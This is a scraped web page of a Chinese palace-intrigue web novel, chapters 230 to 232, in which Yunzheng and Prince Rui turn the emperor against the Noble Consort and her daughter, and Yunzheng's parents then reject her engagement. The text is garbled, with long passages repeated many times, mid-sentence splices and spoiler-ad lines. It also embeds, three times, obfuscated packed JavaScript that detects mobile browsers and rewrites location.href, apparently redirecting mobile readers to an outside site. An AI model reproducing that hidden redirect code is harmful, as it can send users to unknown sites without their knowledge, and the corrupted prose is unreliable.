大太监终于回来了,双手呈上厚厚的供词,“皇上,都招了,这些都是各方供词。” 就在皇上伸手拿供词时,忽生变故! 冲他笑。 皇上的心一软,摸摸女儿粉嫩的小脸蛋。 “贵妃回娘家,提前向皇后报备了吗?” 贵妃一脸的恭顺,“皇后娘娘开恩,特允许臣妾出宫。” 皇上神色淡淡的,“来做什么?” 贵妃神色越发恭敬,“五公主出生到现在还没有见过外家,听闻皇上出宫来了雷家,就想托皇上的福,让五公主认认外家的门,也见一见外祖父外祖母。” 她四处张望,“咦,父母亲呢?怎么不见人?” 雷大夫人不敢提被带去审讯的雷家主,只敢让开身体,露出半躺在椅子上的老夫人。 “贵妃娘娘,老夫人被云筝气晕过去了,您一定要为她作主啊。” 看着两眼紧闭的母亲,贵妃眼中闪过一丝愤怒。 但,她掩饰的极快,面上谦逊又有礼。 “锦云郡主,不知家母哪里得罪了你,我代她向你赔个不是,还请看在她年迈糊涂的份上,原谅她这一回。” 雷大夫人泪如雨下,“娘娘,不是老夫人的错,是云筝骂了老夫人,骂的很难听,生生把老夫人气晕了,可怜老夫人一大把年纪,哪受过如此奇耻大辱。” 贵妃心中恨极,面色苦涩无比,“别说了,锦云郡主对国家有功,对皇上有功,别说欺侮贵妃之母,就算杀了雷家人,都给我忍着,万不可伤了朝廷的栋梁之材。” 她委屈,她难过,她伤心欲绝,但,为了皇上和朝廷,要顾全大局。 云筝看在眼里,嘴角轻轻上扬,来吧,尽情的表演吧。 雷大夫人不敢置信的叫道,“娘娘。” 众人默默看着,不知怎么的想起,云筝的那句话,以退为进,捧杀。 好像,都被云筝料中了! 皇上神色难辩,眼神晦暗不明。 大太监终于回来了,双手呈上厚厚的供词,“皇上,都招了,这些都是各方供词。” 就在皇上伸手拿供词时,忽生变故! 冲他笑。 皇上的心一软,摸摸女儿粉嫩的小脸蛋。 “贵妃回娘家,提前向皇后报备了吗?” 贵妃一脸的恭顺,“皇后娘娘开恩,特允许臣妾出宫。” 皇上神色淡淡的,“来做什么?” 贵妃神色越发恭敬,“五公主出生到现在还没有见过外家,听闻皇上出宫来了雷家,就想托皇上的福,让五公主认认外家的门,也见一见外祖父外祖母。” 她四处张望,“咦,父母亲呢?怎么不见人?” 雷大夫人不敢提被带去审讯的雷家主,只敢让开身体,露出半躺在椅子上的老夫人。 “贵妃娘娘,老夫人被云筝气晕过去了,您一定要为她作主啊。” 看着两眼紧闭的母亲,贵妃眼中闪过一丝愤怒。 但,她掩饰的极快,面上谦逊又有礼。 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大太监终于回来了,双手呈上厚厚的供词,“皇上,都招了,这些都是各方供词。” 就在皇上伸手拿供词时,忽生变故! 第230章 皇兄,您的贵妃看上我了! 五公主忽然拿起桌上的汤碗,用力泼向云筝。 云筝正眼巴巴的盯着供词,满眼好奇,没有半点防备,冷不防被泼了个正着,汤水全洒在身上。 幸亏不是滚烫的,否则,都毁容了。 动作太快,距离太近,谁都没有料到。 雷家人心中快意,好,五公主干的太好了,就该这么治她。 云筝砸雷家人的时候,就应该想到,会被打回去的。 贵妃嘴角翘起,但很快强行压了下来,一副震惊错愕的模样。 厉无恙眼神一冷,拿出一方手帕递过去,“快擦擦。” 云筝接过手帕慢条斯理的擦了擦脸,面色平静的可怕。 三皇子心里一咯噔,不好,上上次见她如此平静,就是狙击平西侯父子时。 上次是国子监学子**她时。 皇上恼怒的声音响起,“小五,你这是干什么?” 五公主嘟起小嘴,委屈的不行,“父皇,她欺负一个老人家,实在可恶,我看不下去了。” 云筝慢条斯理的擦拭头发,眉眼含笑,“五公主,你是在为雷家鸣不平?” 五公主板着一张小脸,只当她怕了,像其他人那样讨好她呢。 “夫子教导我们,要尊老爱幼,你身为朝廷亲封的郡主,居然**长辈,丢尽朝廷的脸。” “还请父皇治她的罪。” 云筝哦了一声,“那夫子教导你,身为大齐的公主,可以随时随地**朝中命官吗?” 现场一静,这问题太犀利,回答不好会动摇国本。 五公主理直气壮的说道,“这是两回事,有因必有果,你欺负我外祖母,我替她出头,天经地义。” 贵妃眉眼舒展,暗藏得意,“锦云郡主,她还是一个孩子,不懂事,只知道她外祖母受了天大委屈,还请体谅一下吧。” 云筝冷笑一声,年纪小就放过她?不存在的! 宫中没有真正单纯的孩子,从小就知道争宠,为自己而争,为母妃而争。 她扭头就嚷嚷,“皇上,您赶紧接过供词吧,否则,下一步,五公主就要一把抢过去毁尸灭迹了,年纪小嘛,放人烧火都是可以原谅的。” 五公主的小脸一僵,是有这么一个打算,但 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 母妃说不能太刻意不能引起父皇的反感要挑一个好时机。 云筝看在眼里满满是嘲讽“皇上您快看看供词安南伯是怎么跟盐商结党营私打算扶持三皇子谋朝篡位的?” 这话一出全场静的可怕 三皇子又气又怒急的满头大汗却不敢说一个字。 五公主急红了眼“你胡说你这个坏女人父皇您别听信她的谗言。” 云筝冲她微微一笑“皇上五公主说您是听信谗言的昏君!” 五公主都快气哭了坏女人。 “我没有父皇您是最英明的圣主。外祖父对您忠心耿耿他不可能背叛您。” 贵妃见状暗搓搓的挑事“锦云郡主公主只是一片孝心心疼她的外祖母而已你何必跟一个孩子斤斤计较?” 云筝笑眯眯的点头“五公主确实是一个孝顺的孩子为了外家不惜**朝中命官扰乱办案结果甚至敢跟皇上抗争呢。” “孝顺是真孝顺就是孝的是雷家。” 刀刀见血扎的贵妃和雷家人都变了脸色。 皇上面罩寒罩眼刀子冷嗖嗖的。 他对儿子严苛但对女儿向来包容疼爱尤其是这个长相酷似他的女儿最为宠爱。 但此时如鲠在喉。孝的是雷家?呵呵。 他看女儿的眼神多了一丝考量。 贵妃敏感的察觉到了这点一颗心直往下沉。 女儿一直是她手中的**锏最好用的王牌。 厉无恙轻轻一笑“皇兄您这女儿算是为雷家养的!是不是该改姓雷了?雷小五?” 皇上的脸色更难看了看贵妃的眼神充满了恼意。 贵妃打了一个冷战冲女儿使了个眼色五公主哇哇大哭起来。 “父皇他们都欺负我。” 厉无恙懒洋洋的把玩着玉扳指“皇兄五公主年纪小不懂事您别怪她一定是被有心之人故意引导。” “女人嘛为了救娘家不择手段伤害夫君和儿女的也是有的。” “毕竟在她们心里家族才是最重要的其他都是利用工具。” 皇上脸色不好看对没错自家孩子肯定没 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 错,错的是她的母妃。 进了宫,还一心为娘家谋福利,把儿女养的偏向外家,可恶至极。 贵妃闻言脸色大变,再也稳不住了。 “睿亲王,听闻您跟锦云郡主有私情,一心求娶她,听我一句劝,那些商贾出身的女子浑身铜臭味,只会算计,没有半点真心。” 阴阳怪气,谁不会?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168651|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>厉无恙凉凉的扫了她一眼,跟他斗? “皇兄,您的贵妃看上我了!” 一语石破天惊,所有人目瞪口呆,他在说什么? 云筝眼睛都瞪直了,比她还猛! 贵妃冷静自持的面具被撕开了一条缝,“胡说。” 厉无恙一脸的嫌弃,“自古以来,哪有兄长的房里人对小叔子的婚事指手划脚,说三道四的?分明是对我有意思,不想我娶妻生子。” “皇上,我不想被一个老女人盯上,您要保护我。” 皇上嘴角抽搐,又气又好笑,他从小就是一个嘴巴特别毒的小孩。 但,贵妃确实不像话。 “贵妃,你对睿亲王关注太过了。” 贵妃又气又急,“皇上,我只是担心他……” 皇上冷冷的提醒道,“他的事轮不到您操心,注意你的身份。” 五公主见状,立马拉扯了扯皇上的衣袖,眼泪汪汪的说道,“父皇,您别生母妃的气,她身体不好,一激动就会晕过去。” 她仰着天真无邪的小脸,软软的撒娇,“父皇,我们回宫吧,外面乱哄哄的,我不喜欢。” 向来有求必应的皇上,这一回却果断的下令,“来人,送五公主回宫。” 五公主一下子慌了,“我不,我要陪着母妃,我不能让人欺负她。” 云筝笑眯眯的捅刀子,“真是感天动地的母女情,可是,天地君亲师,君排在前面,怎么没见五公主对皇上的孝心?” 一旦失了圣心,公主又算得了什么? 君不见,那些没有圣眷的公主们下场有多惨吗? 贵妃脸色微变,好恶毒的女子,居然想让小五失去圣心! 圣心才是他们母子三人的立足根本! “云筝,欺负一个小孩子有意思吗?” 云筝一脸的奇怪,“怎么是欺负?我是在告诉她,君父,既是君又是父,应该排在第一位。” “别尽帮着母妃和不着调的外家站在君父的对立面,对她没有好处,就没人教她这些吗?” 她字字句句都是为了五公主着想,这番话不管到哪里,都挑不出半点毛病。 但,贵妃如遭晴天霹雳,浑身发抖。 这不敬君父的罪名给五公主扣实了,将来能有什么好? 那些对手岂会放过这么好的把柄? 三皇子倒抽一口冷气,**诛心,莫过如此。 云筝还没完呢,即将送上最致命一击…… 第231章 见招拆招,必须赢 云筝清咳一声,一双清棱棱的眼睛盯着贵妃。 可能是故意的,毕竟,这个护身符太好用了,遇到难事,就将年幼的女儿推出来求情,总能大事化小,小事化了,屡试不爽。 “身为嫔妃,靠这种手段掌控前朝后宫,是对君王不忠。 “身为一个母亲,利用儿女,是为不慈。 这话一出,贵妃都绝望了,不忠不仁的罪名给她扣上了,字字都踩在君王的底线上。 她是故意让公主出手,彻底激怒云筝,从而激化矛盾。 云筝一旦冲年幼的公主出手,皇上最是护犊子,绝不会坐视不管。 这么一来,君臣之间就有了间隙。 谁知,云筝虚晃一招,将矛头对准了贵妃。 “贵妃,我说的对吗? 皇上的眼睛危险的眯了起来,冷冷一笑,拿起供词翻看。 贵妃见状,闭了闭眼,一颗心拔凉拔凉的。 完了,皇上都听进去了,也记恨上了。 云筝,你只是一个臣子!为什么不恪守为臣之道?五公主年纪再小,那也是君! 你怎么就不肯乖乖被算计?怎么可以反击?怎么不**! 供词是多方的,有雷家主的,有曹德文,有丫环的,也有厉无恙的手下。 雷家主很想硬扛,但,他养尊处优,根本扛不过酷刑,很快就招供了。 雷家主是主谋,曹德文是同伙,这次的宴会是专门为云筝准备的。 他和曹德文精心安排了这一出,目的是想将云筝拉到自己阵营。 结果,被厉无恙无意中闯入,破坏了局面。 曹德文的四肢是被暴怒的厉无恙挑断的。 皇上翻遍了口供,都没有找到三皇子和贵妃卷入其中的证据。 他轻敲桌面,沉吟半晌。 若说,没有贵妃的指使,他是不信的! 随后,他下令道,“雷文滔和曹德文串联一气,陷害朝中官员,染指官盐,证据确凿,现革去安南伯爵位,贬为庶民。 “查抄曹家,家产充公,曹家七岁以上男丁流放三千里。 雷家人如五雷轰顶,天都塌了,抄家流放?! 他们双腿一软,瘫 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 软在地上,声泪俱下,“皇上开恩啊,我们什么都不知道。” 贵妃扑通一声跪倒在地,泪流满面。 “皇上,还请念在一双儿女的份上,给他们一个体面吧,他们不能有一个犯事的外家,会让他们抬不起头的。” 皇上眉头紧皱,五公主扑过去,抱着他大腿哭着求情。 厉无恙凉凉的开口,“皇兄,看来在贵妃心里,我们天家的龙子凤女不够尊贵,需要一个外家增光彩。” “三皇子和小五没有外家,都不能见人了呢。” 论尊贵,谁有皇室尊贵?谁敢笑话皇室子弟? 皇上的心硬了起来,“君无戏言。” 小五生气的瞪着厉无恙,“九皇叔,您为什么帮着那个坏女人?” 她年纪小,没怎么跟厉无恙接触,对他的威力一无所知。 厉无恙眼神微冷,嘴角却轻轻扬起,“那是你九皇婶,我不帮着自己的未婚妻,帮兄长的房里人吗?那才是天大的笑话。” “小五,你未来的驸马一心帮着兄长的屋里人,给你甩脸子,还打你骂你,你乐意吗?” 五公主:……砍了驸马! 贵妃还想挽救一下,“三皇子刚成亲,即将有小皇孙出世,就当是为孩子积德,求您饶了雷家,父亲年纪大了,熬不过三千里流放路。“ 皇上看了她一眼,冰冷的眼神让贵妃浑身颤栗。 “扬州盐商曹德文,坑害朝廷命官,家产充公,满门抄斩,钦此。” “是。” 相比之下,雷家算是宽待了,留了雷家家眷和七岁以下孩子的命。 雷家还有什么不知足的? 皇上心里一动,“睿亲王,你亲自去扬州查抄曹家家产,别人朕不放心。” 厉无恙不假思索的应了,“臣遵旨。” 他没有一点犹豫,皇上很满意,没有儿女情长嘛。 厉无恙拱了拱手,“不过,去之前我放心不下锦云郡主,还请皇上为我们赐婚。” 皇上的表情一僵,“这事等你回来后再说,此间之事,朕会封口。” 厉无恙一脸的忧心,“老有人害她,我不放心。” 三皇子愤愤不平的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168652|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道,“为什么别人总害她?说明她自身有很大的问题。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 厉无恙像看着一个傻子般看着他,他还敢跳出来蹦哒?**自己亲爹是什么脾气吗? “断人钱财,如**父母,她唯一的错,就是太能干,太会挣钱,让平庸之辈疯狂嫉妒,皇上,她可是在为您挣钱。” 皇上立马保证道,“朕会保护她的。” 厉无恙轻轻叹气,“这话您以前说过,但,还是发生这样的事,那些阴谋家可不会听您的,我决定亲自保护她。“ 皇上:……弟弟是好弟弟,就是太任性了,不听劝! 厉无恙从脖子上扯下一块玉佩,“云筝,此乃鸳鸯同心佩,送你,就当是订婚信物,等我回来风风光光的迎娶你过门。” 皇上呆呆的盯着那块玉佩,眼神一阵恍惚,这块同心佩居然在他手里。 云筝愣了一下,他疯了吗? 但看着他眼中的笃定,勇气陡然而生,他不怕死,那,她陪他! “好。” 贵妃目瞪口呆,震惊于厉无恙的肆无忌惮。 “皇上,这算不算无媒苟合?” 厉无恙朝后退了几步,满是避嫌之色,“皇兄,她又控制不住关注我了。” 被偏爱的有恃无恐。 皇上回过神,又深深的看了玉佩一眼,满满是遗憾。 “贵妃冲撞圣驾,打入冷宫,五公主送去淑妃宫中教养。” 一个都跑不了,皇上就是这么记仇。 贵妃如五雷轰顶,脸色惨白如纸,“求皇上开恩。” 五公主眼泪哗啦啦的往下流,“父皇,我不想去淑妃娘娘宫中,我害怕。” 三皇子也急了,“父皇,求您别让母妃跟小五分开,小五还小,她需要母妃。” 皇上的视线扫了过来,“三皇子桀骜不逊,顶撞君王,罚去内务府广储司当差,一切听从主官的安排。” 三皇子:……!!! “父皇,您让我给云筝当下属?我没听错吧?” 所有人震惊了,皇上到底是什么意思? 接着,皇上又说了一句匪夷所思的话,也让三皇子呆若木鸡…… 第232章 这婚事不行,我不同意 皇上指了指云筝,“你还要负责她的安全,若她再出事,全算在你头上。” 他顿了顿,说出了一句让无数人胆寒的话,“到时,圈禁和永不上朝,自己选一个。” 倒抽冷气声猛的响起,大家不敢置信。 圈禁?永不上朝?那等于是剥夺了三皇子的继承权。 贵妃遍体发寒,脸色惨白如纸,三皇子上位是她唯一的机会。 “皇上,云筝就那么重要?比你的亲生儿子还重要?” 面对众人异样的目光,云筝很淡定,也猜到了皇上的意图。 三皇子脑袋嗡嗡作响,“父皇,我才是您的亲生儿子,这对我不公平!” 皇上淡淡的道,“若不是亲生的,你以为还能好好的站在这里?” 他指着雷家人,面色冰冷的可怕,“那才是三皇子党的下场。” 他亲手拆了三皇子党,警告那些蠢蠢欲动想投机的人。 夺嫡?先看看失败者的下场。 他还正当盛年,他们着什么急? 三皇子气怒攻心,浑身发抖,一副快要晕过去的模样。 皇上视若不见,冰冷的视线扫向众人,“记住,今日的事不许外泄,若让朕听到风声,所有在场的人都逃不了,有一个算一个,曹家满门抄斩的下场就在眼前。” 众人噤若寒蝉,瑟瑟发抖,这是为了保护云筝吗? 他们都低估了云筝在皇上心中的地位。 “我们不敢。” 皇上挥了挥手,“摆驾回宫。” 大家如释重负,太好了,终于要走了。“恭送皇上。” 皇上走了几步,回过头见厉无恙没有跟上,微微蹙眉,“九皇弟,你还不走?” 厉无恙抿了抿嘴,“我送锦云郡主回家……” 皇上走回来,拖着厉无恙胳膊就走,“朕有话要跟你说。” 云筝目瞪口呆,皇上,你真不讲究啊,至于这样吗? 厉无恙回过头看了她一眼,两人交换了一个眼色。 云筝一回到家,简单洗了个澡,倒在床上就睡的昏天黑地。 太累了,身心俱疲。 等她醒来时,已经天黑了。 外面似乎有声 音,她爬起来走到外间,就看到父母神色凝重的坐在一起,压低声音说着什么。 “爹娘,你们怎么在这?” 云家夫妻不约而同的抬头,云母笑道,“饿了吧,你先去梳洗,我让人摆膳。” 一桌子都是云筝爱吃的菜,她吃的津津有味。 云展鹏已经知道今日发生的事情,看着女儿的眼神充满了心疼。 心底升起一股无力感,他一个当父亲的,却什么都做不了。 “筝儿,多吃点。” 云筝笑眯眯的给父母挟菜,“你们也吃呀。” 其实,云家夫妻都没有胃口,但不忍拂了女儿的孝心,勉强吃了半碗饭。 吃完饭,丫环收拾碗筷下去了,云展鹏拉着女儿的手,“筝儿,我们谈谈。” 云筝也想跟父母好好谈一谈,让人泡了一壶花茶,懒洋洋的靠坐在云母身边。 耳边传来父亲严厉的声音,“这婚事不行,我不同意。” “爹。”云筝傻眼了,她想过皇上不同意,但,没想到父亲的态度也是如此坚决。“为什么?” 云展鹏鲜少有这么严厉的时候,“睿亲王是好,但太好了,我们够不着。” 平西侯府的前车之鉴,让他意识到,在权势面前,你再聪明再能干再有钱,都不堪一击。 而,睿亲王不是普通权贵,他是一人之下,万人之上的九皇叔,执掌明镜司,权势滔天。 “筝儿,你很好很好,只是,皇上的态度很明显,不想让你们在一起。” 云母也劝道,“如果强行在一起,皇上心里会扎根刺,对你对睿亲王都没有好处,我们就挑一个家世普通的赘婿,将来有什么也能牢牢压制住他。” 不得不说,他们都非常理性,对他们来说,这是最优的选择,无关感情。 云筝沉默了,她能理解父母的心情,但,不能认同。 “睿亲王是个聪明人,他敢当着皇上的面送我玉佩,口头订下这桩婚事,肯定是有所持。” “我只要跟着走就行了。” 云展鹏的心提了起来,“你们已经……私订终身?” “嗯。” 云展鹏的怒气蹭的上来了,他还以为九千岁是个正人君子呢。 “你这孩 子向来冰雪聪明,这一回怎么犯糊涂?” “怎么就看上了睿亲王,那可是明镜司的主人,心狠手辣,而且还是个瘸子。” “爹。”云筝不乐意了,怎么还人身攻击呢? 云母轻抚着女儿的肩膀,“若有个什么,我们斗不过他的。” 皇室的男人都薄情啊,三妻四妾是寻常,自家女儿性烈如火,眼中揉不得沙子。 怎么看都不合适。 云筝神色坚定,“我想赌一次,还请爹娘成全。” 云展鹏板着脸,“我不同意,我们云家在这上面栽了一个跟头,不能再重蹈覆辙。” “我相信睿亲王。” 云母看着夫君,又看女儿,父女俩如出一辙的倔强,头疼欲裂。 “要不,去父留子?不成亲,就生一个娃娃继承云家。” 父女俩齐刷刷的瞪大眼睛,我却,真敢想啊!那可是睿亲王! 就在此时,丫环匆匆进来禀道,“老爷,夫人,睿亲王来了。” 云展鹏眉头紧皱,“这么晚了他来干吗?不见。” 话音刚落,外面就传来厉无恙的声音,“伯父,伯母,我来了。” 云展鹏眼睛都瞪直了,好家伙,难怪说是来了,而不是求见,可恶! 有权有势,就能深夜擅闯别人家? 云筝猛的跳起来,飞奔出去。 院子里,坐在轮椅上的男子剑眉星目,俊美无俦。 一双眼眸深邃如海,看到她的瞬间亮了,熠熠生辉,如蕴藏着满天星辰。 云筝嘴角轻扬,眉眼弯弯。 云展鹏出来,就看到两人相视傻笑的场景,心里说不出是什么滋味。 他是横看竖看都看九千岁不顺眼,“睿亲王,这个时候您应该避嫌。” 厉无恙恭恭敬敬的行了晚辈礼,“伯父,深夜前来是我太冒昧了,但,实在是迫不得已,等会我就要出京城了。” 云筝愣住了,“这么快?皇上就这么着急?” 云展鹏微微蹙眉,“就算告别也不能大晚上的登门,落人话柄……” 不等他说完,厉无恙拿出一个锦盒,双手送上,“伯父,我是特来送礼的,还请收下。” 云展鹏满心疑惑,打开盒子一看,瞳孔剧震,“这……这是什么?” 子向来冰雪聪明,这一回怎么犯糊涂?” “怎么就看上了睿亲王,那可是明镜司的主人,心狠手辣,而且还是个瘸子。” “爹。”云筝不乐意了,怎么还人身攻击呢? 云母轻抚着女儿的肩膀,“若有个什么,我们斗不过他的。” 皇室的男人都薄情啊,三妻四妾是寻常,自家女儿性烈如火,眼中揉不得沙子。 怎么看都不合适。 云筝神色坚定,“我想赌一次,还请爹娘成全。” 云展鹏板着脸,“我不同意,我们云家在这上面栽了一个跟头,不能再重蹈覆辙。” “我相信睿亲王。” 云母看着夫君,又看女儿,父女俩如出一辙的倔强,头疼欲裂。 “要不,去父留子?不成亲,就生一个娃娃继承云家。” 父女俩齐刷刷的瞪大眼睛,我却,真敢想啊!那可是睿亲王! 就在此时,丫环匆匆进来禀道,“老爷,夫人,睿亲王来了。” 云展鹏眉头紧皱,“这么晚了他来干吗?不见。” 话音刚落,外面就传来厉无恙的声音,“伯父,伯母,我来了。” 云展鹏眼睛都瞪直了,好家伙,难怪说是来了,而不是求见,可恶! 有权有势,就能深夜擅闯别人家? 云筝猛的跳起来,飞奔出去。 院子里,坐在轮椅上的男子剑眉星目,俊美无俦。 一双眼眸深邃如海,看到她的瞬间亮了,熠熠生辉,如蕴藏着满天星辰。 云筝嘴角轻扬,眉眼弯弯。 云展鹏出来,就看到两人相视傻笑的场景,心里说不出是什么滋味。 他是横看竖看都看九千岁不顺眼,“睿亲王,这个时候您应该避嫌。” 厉无恙恭恭敬敬的行了晚辈礼,“伯父,深夜前来是我太冒昧了,但,实在是迫不得已,等会我就要出京城了。” 云筝愣住了,“这么快?皇上就这么着急?” 云展鹏微微蹙眉,“就算告别也不能大晚上的登门,落人话柄……” 不等他说完,厉无恙拿出一个锦盒,双手送上,“伯父,我是特来送礼的,还请收下。” 云展鹏满心疑惑,打开盒子一看,瞳孔剧震,“这……这是什么?” 子向来冰雪聪明,这一回怎么犯糊涂?” “怎么就看上了睿亲王,那可是明镜司的主人,心狠手辣,而且还是个瘸子。” “爹。”云筝不乐意了,怎么还人身攻击呢? 云母轻抚着女儿的肩膀,“若有个什么,我们斗不过他的。” 皇室的男人都薄情啊,三妻四妾是寻常,自家女儿性烈如火,眼中揉不得沙子。 怎么看都不合适。 云筝神色坚定,“我想赌一次,还请爹娘成全。” 云展鹏板着脸,“我不同意,我们云家在这上面栽了一个跟头,不能再重蹈覆辙。” “我相信睿亲王。” 云母看着夫君,又看女儿,父女俩如出一辙的倔强,头疼欲裂。 “要不,去父留子?不成亲,就生一个娃娃继承云家。” 父女俩齐刷刷的瞪大眼睛,我却,真敢想啊!那可是睿亲王! 就在此时,丫环匆匆进来禀道,“老爷,夫人,睿亲王来了。” 云展鹏眉头紧皱,“这么晚了他来干吗?不见。” 话音刚落,外面就传来厉无恙的声音,“伯父,伯母,我来了。” 云展鹏眼睛都瞪直了,好家伙,难怪说是来了,而不是求见,可恶! 有权有势,就能深夜擅闯别人家? 云筝猛的跳起来,飞奔出去。 院子里,坐在轮椅上的男子剑眉星目,俊美无俦。 一双眼眸深邃如海,看到她的瞬间亮了,熠熠生辉,如蕴藏着满天星辰。 云筝嘴角轻扬,眉眼弯弯。 云展鹏出来,就看到两人相视傻笑的场景,心里说不出是什么滋味。 他是横看竖看都看九千岁不顺眼,“睿亲王,这个时候您应该避嫌。” 厉无恙恭恭敬敬的行了晚辈礼,“伯父,深夜前来是我太冒昧了,但,实在是迫不得已,等会我就要出京城了。” 云筝愣住了,“这么快?皇上就这么着急?” 云展鹏微微蹙眉,“就算告别也不能大晚上的登门,落人话柄……” 不等他说完,厉无恙拿出一个锦盒,双手送上,“伯父,我是特来送礼的,还请收下。” 云展鹏满心疑惑,打开盒子一看,瞳孔剧震,“这……这是什么?” 子向来冰雪聪明,这一回怎么犯糊涂?” “怎么就看上了睿亲王,那可是明镜司的主人,心狠手辣,而且还是个瘸子。” “爹。”云筝不乐意了,怎么还人身攻击呢? 云母轻抚着女儿的肩膀,“若有个什么,我们斗不过他的。” 皇室的男人都薄情啊,三妻四妾是寻常,自家女儿性烈如火,眼中揉不得沙子。 怎么看都不合适。 云筝神色坚定,“我想赌一次,还请爹娘成全。” 云展鹏板着脸,“我不同意,我们云家在这上面栽了一个跟头,不能再重蹈覆辙。” “我相信睿亲王。” 云母看着夫君,又看女儿,父女俩如出一辙的倔强,头疼欲裂。 “要不,去父留子?不成亲,就生一个娃娃继承云家。” 父女俩齐刷刷的瞪大眼睛,我却,真敢想啊!那可是睿亲王! 就在此时,丫环匆匆进来禀道,“老爷,夫人,睿亲王来了。” 云展鹏眉头紧皱,“这么晚了他来干吗?不见。” 话音刚落,外面就传来厉无恙的声音,“伯父,伯母,我来了。” 云展鹏眼睛都瞪直了,好家伙,难怪说是来了,而不是求见,可恶! 有权有势,就能深夜擅闯别人家? 云筝猛的跳起来,飞奔出去。 院子里,坐在轮椅上的男子剑眉星目,俊美无俦。 一双眼眸深邃如海,看到她的瞬间亮了,熠熠生辉,如蕴藏着满天星辰。 云筝嘴角轻扬,眉眼弯弯。 云展鹏出来,就看到两人相视傻笑的场景,心里说不出是什么滋味。 他是横看竖看都看九千岁不顺眼,“睿亲王,这个时候您应该避嫌。” 厉无恙恭恭敬敬的行了晚辈礼,“伯父,深夜前来是我太冒昧了,但,实在是迫不得已,等会我就要出京城了。” 云筝愣住了,“这么快?皇上就这么着急?” 云展鹏微微蹙眉,“就算告别也不能大晚上的登门,落人话柄……” 不等他说完,厉无恙拿出一个锦盒,双手送上,“伯父,我是特来送礼的,还请收下。” 云展鹏满心疑惑,打开盒子一看,瞳孔剧震,“这……这是什么?” 子向来冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云展鹏满心疑惑,打开盒子一看,瞳孔剧震,“这……这是什么?” 子向来冰雪聪明,这一回怎么犯糊涂?” “怎么就看上了睿亲王,那可是明镜司的主人,心狠手辣,而且还是个瘸子。” “爹。”云筝不乐意了,怎么还人身攻击呢? 云母轻抚着女儿的肩膀,“若有个什么,我们斗不过他的。” 皇室的男人都薄情啊,三妻四妾是寻常,自家女儿性烈如火,眼中揉不得沙子。 怎么看都不合适。 云筝神色坚定,“我想赌一次,还请爹娘成全。” 云展鹏板着脸,“我不同意,我们云家在这上面栽了一个跟头,不能再重蹈覆辙。” “我相信睿亲王。” 云母看着夫君,又看女儿,父女俩如出一辙的倔强,头疼欲裂。 “要不,去父留子?不成亲,就生一个娃娃继承云家。” 父女俩齐刷刷的瞪大眼睛,我却,真敢想啊!那可是睿亲王! 就在此时,丫环匆匆进来禀道,“老爷,夫人,睿亲王来了。” 云展鹏眉头紧皱,“这么晚了他来干吗?不见。” 话音刚落,外面就传来厉无恙的声音,“伯父,伯母,我来了。” 云展鹏眼睛都瞪直了,好家伙,难怪说是来了,而不是求见,可恶! 有权有势,就能深夜擅闯别人家? 云筝猛的跳起来,飞奔出去。 院子里,坐在轮椅上的男子剑眉星目,俊美无俦。 一双眼眸深邃如海,看到她的瞬间亮了,熠熠生辉,如蕴藏着满天星辰。 云筝嘴角轻扬,眉眼弯弯。 云展鹏出来,就看到两人相视傻笑的场景,心里说不出是什么滋味。 他是横看竖看都看九千岁不顺眼,“睿亲王,这个时候您应该避嫌。” 厉无恙恭恭敬敬的行了晚辈礼,“伯父,深夜前来是我太冒昧了,但,实在是迫不得已,等会我就要出京城了。” 云筝愣住了,“这么快?皇上就这么着急?” 云展鹏微微蹙眉,“就算告别也不能大晚上的登门,落人话柄……” 不等他说完,厉无恙拿出一个锦盒,双手送上,“伯父,我是特来送礼的,还请收下。” 云展鹏满心疑惑,打开盒子一看,瞳孔剧震,“这……这是什么?” 子向来冰雪聪明,这一回怎么犯糊涂?” “怎么就看上了睿亲王,那可是明镜司的主人,心狠手辣,而且还是个瘸子。” “爹。”云筝不乐意了,怎么还人身攻击呢? 云母轻抚着女儿的肩膀,“若有个什么,我们斗不过他的。” 皇室的男人都薄情啊,三妻四妾是寻常,自家女儿性烈如火,眼中揉不得沙子。 怎么看都不合适。 云筝神色坚定,“我想赌一次,还请爹娘成全。” 云展鹏板着脸,“我不同意,我们云家在这上面栽了一个跟头,不能再重蹈覆辙。” “我相信睿亲王。” 云母看着夫君,又看女儿,父女俩如出一辙的倔强,头疼欲裂。 “要不,去父留子?不成亲,就生一个娃娃继承云家。” 父女俩齐刷刷的瞪大眼睛,我却,真敢想啊!那可是睿亲王! 就在此时,丫环匆匆进来禀道,“老爷,夫人,睿亲王来了。” 云展鹏眉头紧皱,“这么晚了他来干吗?不见。” 话音刚落,外面就传来厉无恙的声音,“伯父,伯母,我来了。” 云展鹏眼睛都瞪直了,好家伙,难怪说是来了,而不是求见,可恶! 